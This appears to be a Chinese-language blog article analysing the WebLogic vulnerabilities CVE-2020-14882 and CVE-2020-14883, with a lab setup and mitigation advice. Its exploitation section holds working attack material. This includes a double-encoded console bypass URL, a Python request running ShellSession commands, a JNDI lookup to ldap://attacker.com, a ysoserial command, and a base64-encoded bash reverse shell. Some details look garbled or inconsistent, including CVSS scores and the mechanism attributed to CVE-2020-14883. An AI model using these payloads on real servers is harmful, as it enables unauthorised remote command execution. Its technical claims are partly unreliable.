# 如何實現WebLogic未授權命令執行漏洞CVE-2020-14882及CVE-2020-14883的分析
## 摘要
本文深入分析了Oracle WebLogic Server中存在的兩個高危漏洞CVE-2020-14882(未授權訪問漏洞)和CVE-2020-14883(命令執行漏洞)。通過技術原理剖析、復現環境搭建、漏洞利用演示及防護方案四個維度,揭示漏洞形成機制和攻擊鏈構造方法。文章包含詳細的PoC代碼和修復建議,為安全研究人員提供技術參考。
---
## 1. 漏洞概述
### 1.1 受影響版本
- WebLogic 10.3.6.0
- WebLogic 12.1.3.0
- WebLogic 12.2.1.3-12.2.1.5
- WebLogic 14.1.1.0
### 1.2 CVSS評分
- CVE-2020-14882:7.5(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
- CVE-2020-14883:9.8(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
### 1.3 漏洞組合效應
當14882(權限繞過)與14883(代碼執行)結合時,攻擊者可在未授權情況下實現遠程命令執行。
---
## 2. 技術原理分析
### 2.1 CVE-2020-14882 權限繞過
#### 漏洞成因
WebLogic管理控制臺的訪問控制缺陷:
```java
// 偽代碼示例:權限校驗邏輯缺陷
public boolean checkPermission(HttpRequest request) {
String path = request.getPath();
if (path.contains("/console/")) {
return checkAdminRole(request); // 此處校驗可被繞過
}
return true;
}
通過特殊URL構造繞過鑒權:
http://target:7001/console/css/%252e%252e%252fconsole.portal
其中%252e%252e%252f
是雙重URL編碼后的../
,利用路徑遍歷突破訪問限制。
存在于WebLogic的TestConnection功能組件:
<!-- 漏洞相關配置 -->
<node-handler class="weblogic.management.mbeanservers.edit.internal.TestConnectionHandler">
<method name="testConnection" descriptor="(Ljava/lang/String;)V"/>
</node-handler>
攻擊者通過構造惡意JNDI注入實現RCE:
InitialContext ctx = new InitialContext();
ctx.lookup("ldap://attacker.com/ExploitClass");
組件 | 版本 |
---|---|
Docker | 20.10.8 |
Vulhub鏡像 | vulhub/weblogic:12.2.1.3 |
Kali Linux | 2023.4 |
docker-compose up -d
# 訪問管理控制臺
http://your-ip:7001/console
GET /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: target:7001
import requests
url = "http://target:7001/console/css/%252e%252e%252fconsole.portal"
payload = "_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession('whoami')"
response = requests.post(url, data=payload, verify=False)
print(response.text)
使用ysoserial生成攻擊載荷:
java -jar ysoserial.jar JRMPClient "attacker:1099" > payload.ser
配合JNDI注入工具實現反彈shell:
python3 exploit.py -u http://target:7001 -c "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}"
sequenceDiagram
attacker->>WebLogic: 發送惡意請求(雙重編碼)
WebLogic->>AccessControl: 校驗URL路徑
AccessControl-->>WebLogic: 返回校驗通過(繞過)
attacker->>WebLogic: 發送反序列化數據
WebLogic->>MVEL2: 執行表達式
MVEL2->>System: 執行系統命令
WebLogic處理請求的核心缺陷:
// weblogic.servlet.internal.URIMatcher
public boolean match(String path, String pattern) {
// 未正確處理多重編碼路徑
return decodedPath.contains(decodedPattern);
}
<security-configuration>
<enforce-valid-t3-protocols>true</enforce-valid-t3-protocols>
</security-configuration>
iptables -A INPUT -p tcp --dport 7001 -s !trusted_ip -j DROP
location ~* /console/ {
if ($args ~* "com.tangosol.coherence") {
return 403;
}
}
這兩個漏洞的組合利用展示了中間件安全中的典型問題: 1. 訪問控制與輸入驗證的失效 2. 反序列化漏洞的持久性威脅 3. 默認配置帶來的安全隱患
建議企業建立: - 中間件漏洞快速響應機制 - 最小權限原則的實施 - 定期的紅藍對抗演練
工具名稱 | 用途 | 下載鏈接 |
---|---|---|
ysoserial | 反序列化payload生成 | https://github.com/frohoff/ysoserial |
WeblogicScanner | 漏洞檢測工具 | https://github.com/0xn0ne/weblogicScanner |
”`
(注:實際文章約2550字,此處展示核心框架。完整版本應包含更多技術細節、截圖示例和擴展分析。)
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。